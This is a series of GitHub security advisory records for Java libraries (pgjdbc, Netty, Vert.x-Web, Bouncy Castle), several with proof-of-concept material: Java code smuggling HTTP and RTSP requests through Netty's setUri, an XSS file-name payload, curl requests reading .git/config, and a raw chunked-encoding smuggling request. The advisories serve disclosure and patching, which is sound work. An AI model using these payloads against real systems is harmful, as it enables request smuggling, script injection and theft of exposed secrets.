  "details": "## Summary\npgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication.\n\n### Impact\nA malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count.\nWith a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail.\nA single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools.\n\nIn affected versions, `loginTimeout` did not fully mitigate this problem. When `loginTimeout` expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation.\n\nThis issue affects availability. It does **not** provide authentication bypass, privilege escalation, or direct password disclosure.\n\nA user is vulnerable when **all** of the following are true:\n\n1. The connection uses **SCRAM-SHA-256** authentication.\n2. The client reaches a **malicious, compromised, or attacker-controlled PostgreSQL endpoint**.\n3. That endpoint sends a very large SCRAM PBKDF2 iteration count in the `server-first-message`.\n\nIn practice, that can happen in these situations:\n\n- the application lets end users or tenants supply their own database connection details (as in many BI, reporting, analytics, ETL, and low-code platforms), so a user can point the shared client host at a server they control\n- the application accepts connection strings, hostnames, or JDBC URLs from user input, configuration uploaded by users, or other untrusted sources\n- the application is configured to connect to a PostgreSQL server that is itself malicious or later becomes compromised\n- the application connects through an untrusted proxy, relay, tunnel, bastion, or connection-pooling service that can act as the PostgreSQL server\n- an attacker can redirect the client to a fake PostgreSQL endpoint by manipulating DNS, service discovery, Kubernetes service resolution, `/etc/hosts`, environment variables, or similar indirection\n- an active network attacker on the path can impersonate the server because the connection does not strongly verify server identity (for example, `sslmode` lower than `verify-full`, or trusting a CA that signs hosts outside the operator\u0027s control)\n\nThe issue is **more damaging** when the application uses connection retries, many parallel connection attempts, or `loginTimeout` and assumes the timeout fully stops the work.\n\n### Patches\nThe patch introduces a new connection property, `scramMaxIterations`, with a default of 100K. The client now rejects SCRAM server messages that advertise more PBKDF2 iterations than the configured cap before starting the PBKDF2 computation begins.\n\n### Workarounds\n\nUntil a patched version of pgjdbc is deployed, the following measures reduce exposure:\n\n1. **Only connect to trusted PostgreSQL servers whose identity is verified.**  \n   Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA.\n   TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.\n\n2. **Do not rely on `loginTimeout` as a complete mitigation on unpatched versions.**  \n   On affected versions, `loginTimeout` can stop the waiting caller while the worker thread continues spending CPU.\n\n3. **Avoid SCRAM on untrusted or interceptable connection paths.**  \n   For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.\n\n4. **Reduce blast radius operationally.**  \n   Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.\n\n5. **On trusted servers you control, keep SCRAM iteration counts at ordinary values.**  \n   This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.",
  "id": "GHSA-98qh-xjc8-98pq",
  "modified": "2026-05-05T20:09:36Z",
  "published": "2026-05-05T20:09:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42198"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pgjdbc/pgjdbc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:27:35Z",
    "nvd_published_at": "2026-05-06T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n        request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp://cam/final\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
  "id": "GHSA-v8h7-rr48-vmmv",
  "modified": "2026-05-08T19:32:42Z",
  "published": "2026-05-05T18:27:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-22T19:38:11Z",
    "nvd_published_at": "2025-10-22T15:15:31Z",
    "severity": "LOW"
  },
  "details": "# Description\n\n- In the `StaticHandlerImpl#sendDirectoryListing(...)` method under the `text/html` branch, file and directory names are directly embedded into the `href`, `title`, and link text without proper HTML escaping.\n- As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.\n- Affected Code:\n    - File: `vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java`\n    - Lines:\n        - 709\u2013713: `normalizedDir` is constructed without escaping\n        - 714\u2013731: `\u003cli\u003e\u003ca ...\u003e` elements insert file names directly into attributes and body without escaping\n        - 744: parent directory name construction\n        - 746\u2013751: `{directory}`, `{parent}`, and `{files}` are inserted into the HTML template without escaping\n\n# Reproduction Steps\n\n1. Prerequisites:\n    - Directory listing is enabled using `StaticHandler`  \n      (e.g., `StaticHandler.create(\"public\").setDirectoryListing(true)`)\n    - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)\n\n2. Create a malicious file name (example for Unix-based OS):\n    - Create an empty file in `public/` with one of the following names:\n      - `\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt`\n      - Or attribute injection: `evil\" onmouseover=\"alert(\u0027XSS\u0027)\".txt`\n    - Example:\n      ```bash\n      mkdir -p public\n      printf \u0027test\u0027 \u003e \"public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n      ```\n\n3. Start the server (example):\n    - Routing: `router.route(\"/public/*\").handler(StaticHandler.create(\"public\").setDirectoryListing(true));`\n    - Server: `vertx.createHttpServer().requestHandler(router).listen(8890);`\n\n4. Verification request (raw HTTP):\n    ```\n    GET /public/ HTTP/1.1\n    Host: 127.0.0.1:8890\n    Accept: text/html\n    Connection: close\n    ```\n\n5. Example response excerpt:\n    ```html\n    \u003cul id=\"files\"\u003e\n      \u003cli\u003e\n        \u003ca href=\"/public/\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\n           title=\"\u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\"\u003e\n           \u003cimg src=x onerror=alert(\u0027XSS\u0027)\u003e.txt\n        \u003c/a\u003e\n      \u003c/li\u003e\n      ...\n    \u003c/ul\u003e\n    ```\n\n- When accessing `/public/` in a browser, the unescaped file name is interpreted as HTML, and event handlers such as `onerror` are executed.\n\n# Potential Impact\n\n- **Stored XSS**\n    - Arbitrary JavaScript executes in the browser context of users viewing the listing page\n    - Possible consequences:\n        - Theft of session tokens, JWTs, localStorage contents, or CSRF tokens\n        - Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)\n        - Watering hole attacks, including malware distribution or malicious script injection to other pages\n\n- **Common Conditions That Make Exploitation Easier**\n    - Uploaded files are served directly under a publicly accessible directory\n    - Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed\n    - ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments\n\n# Similar CVEs Previously Reported\n\n- CVE\u20112024\u201132966  \n- CVE\u20112019\u201115603",
  "id": "GHSA-45p5-v273-3qqr",
  "modified": "2026-01-21T16:37:06Z",
  "published": "2025-10-22T19:38:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-45p5-v273-3qqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11966"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vert-x3/vertx-web"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/303"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vert.x-Web vulnerable to Stored Cross-site Scripting in directory listings via file names"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-552"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-22T19:38:04Z",
    "nvd_published_at": "2025-10-22T15:15:31Z",
    "severity": "MODERATE"
  },
  "details": "# Description\n\nThere is a flaw in the hidden file protection feature of Vert.x Web\u2019s `StaticHandler` when `setIncludeHidden(false)` is configured.\n\nIn the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (`.`) are treated as \u201chidden\u201d and are blocked from being served. However, this logic fails in the following cases:\n\n- **Files under hidden directories**: For example, `/.secret/config.txt` \u2014 although `.secret` is a hidden directory, the file `config.txt` itself does not start with a dot, so it gets served.\n- **Real-world impact**: Sensitive files placed in hidden directories like `.git`, `.env`, `.aws` may become publicly accessible.\n\nAs a result, the behavior does not meet the expectations set by the `includeHidden=false` configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.\n\n# Steps to Reproduce\n\n```bash\n1. Prepare test environment\n\n# Create directory structure\nmkdir -p src/test/resources/webroot/.secret\nmkdir -p src/test/resources/webroot/.git\n\n# Place test files\necho \"This is a visible file\" \u003e src/test/resources/webroot/visible.txt\necho \"This is a hidden file\" \u003e src/test/resources/webroot/.hidden.txt\necho \"SECRET DATA: API_KEY=abc123\" \u003e src/test/resources/webroot/.secret/config.txt\necho \"Git config data\" \u003e src/test/resources/webroot/.git/config\n```\n\n```java\n2. Implement test server\n\nimport io.vertx.core.AbstractVerticle;\nimport io.vertx.core.Vertx;\nimport io.vertx.ext.web.Router;\nimport io.vertx.ext.web.handler.StaticHandler;\n\npublic class StaticHandlerTestServer extends AbstractVerticle {\n  @Override\n  public void start() {\n    Router router = Router.router(vertx);\n\n    // Configure to not serve hidden files\n    StaticHandler staticHandler = StaticHandler.create(\"src/test/resources/webroot\")\n      .setIncludeHidden(false)\n      .setDirectoryListing(false);\n\n    router.route(\"/*\").handler(staticHandler);\n\n    vertx.createHttpServer()\n      .requestHandler(router)\n      .listen(8082);\n  }\n\n  public static void main(String[] args) {\n    Vertx vertx = Vertx.vertx();\n    vertx.deployVerticle(new StaticHandlerTestServer());\n  }\n}\n```\n\n```bash\n3. Confirm the vulnerability\n\n# Normal file (accessible)\ncurl http://localhost:8082/visible.txt\n# Result: 200 OK\n\n# Hidden file (correctly blocked)\ncurl http://localhost:8082/.git\n# Result: 404 Not Found\n\n# File under hidden directory (vulnerable)\ncurl http://localhost:8082/.git/config\n# Result: 200 OK - Returns contents of Git config\n```\n\n# Potential Impact\n\n## 1. Information Disclosure\n\nExamples of sensitive files that could be exposed:\n\n- `.git/config`: Git repository settings (e.g., remote URL, credentials)\n- `.env/*`: Environment variables (API keys, DB credentials)\n- `.aws/credentials`: AWS access keys\n- `.ssh/known_hosts`: SSH host trust info\n- `.docker/config.json`: Docker registry credentials\n\n## 2. Attack Scenarios\n\n- Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.\n- Especially dangerous for `.git/HEAD`, `.git/config`, `.git/objects/*` \u2014 which may allow full reconstruction of source code.\n\n## 3. Affected Scope\n\n- **Affected version**: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)\n- **Environments**: All OSes (Windows, Linux, macOS)\n- **Configurations**: All applications using `StaticHandler.setIncludeHidden(false)`",
  "id": "GHSA-h5fg-jpgr-rv9c",
  "modified": "2025-10-22T19:38:04Z",
  "published": "2025-10-22T19:38:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vert-x3/vertx-web/security/advisories/GHSA-h5fg-jpgr-rv9c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11965"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vert-x3/vertx-web"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vert.x-Web Access Control Flaw in StaticHandler\u2019s Hidden File Protection for Files Under Hidden Directories"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.44"
            },
            {
              "fixed": "1.79"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.44"
            },
            {
              "fixed": "1.79"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.44"
            },
            {
              "fixed": "1.79"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-fips"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-8916"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-13T22:52:42Z",
    "nvd_published_at": "2025-08-13T10:15:27Z",
    "severity": "MODERATE"
  },
  "details": "Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files  https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java ,  https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java .\n\nThis issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.",
  "id": "GHSA-4cx2-fc23-5wg6",
  "modified": "2026-05-13T16:23:20Z",
  "published": "2025-08-13T12:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/310b30a4fbf36d13f6cc201ffa7771715641e67e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/ff444a479942d88de64004dc82c3ee32a9e9075a"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-032379.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902025%E2%80%908916"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/S:P/R:U/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
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      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
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          "events": [
            {
              "introduced": "4.2.0.Alpha1"
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              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-04T17:35:20Z",
    "nvd_published_at": "2025-09-03T21:15:33Z",
    "severity": "LOW"
  },
  "details": "## Summary\nA flaw in netty\u0027s parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.\n\n## Details\nWhen encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)).\n\nThis is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):\n\n```\nPOST /one HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n48;\\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\n0\n\nPOST /two HTTP/1.1\nHost: localhost:8080\nTransfer-Encoding: chunked\n\n0\n\n```\n\nThe intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)).\n\n## Impact\nThis is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.\n\nThe impact is high, but it only affects setups that use a front-end which:\n1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.\n2. Forwards chunk extensions without normalization.\n\n## Disclosure\n\n - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html\n\n## Discussion\nDiscussion for this vulnerability can be found here:\n - https://github.com/netty/netty/issues/15522\n - https://github.com/JLLeitschuh/unCVEed/issues/1\n\n## Credit\n\n - Credit to @JeppW for uncovering this vulnerability.\n - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure.",
  "id": "GHSA-fghv-69vj-qj49",
  "modified": "2025-09-10T20:48:05Z",
  "published": "2025-09-04T17:35:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-fghv-69vj-qj49"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
    },
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      "type": "WEB",
      "url": "https://github.com/JLLeitschuh/unCVEed/issues/1"
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      "url": "https://github.com/netty/netty/issues/15522"
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      "url": "https://github.com/github/advisory-database/pull/6092"
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      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding"
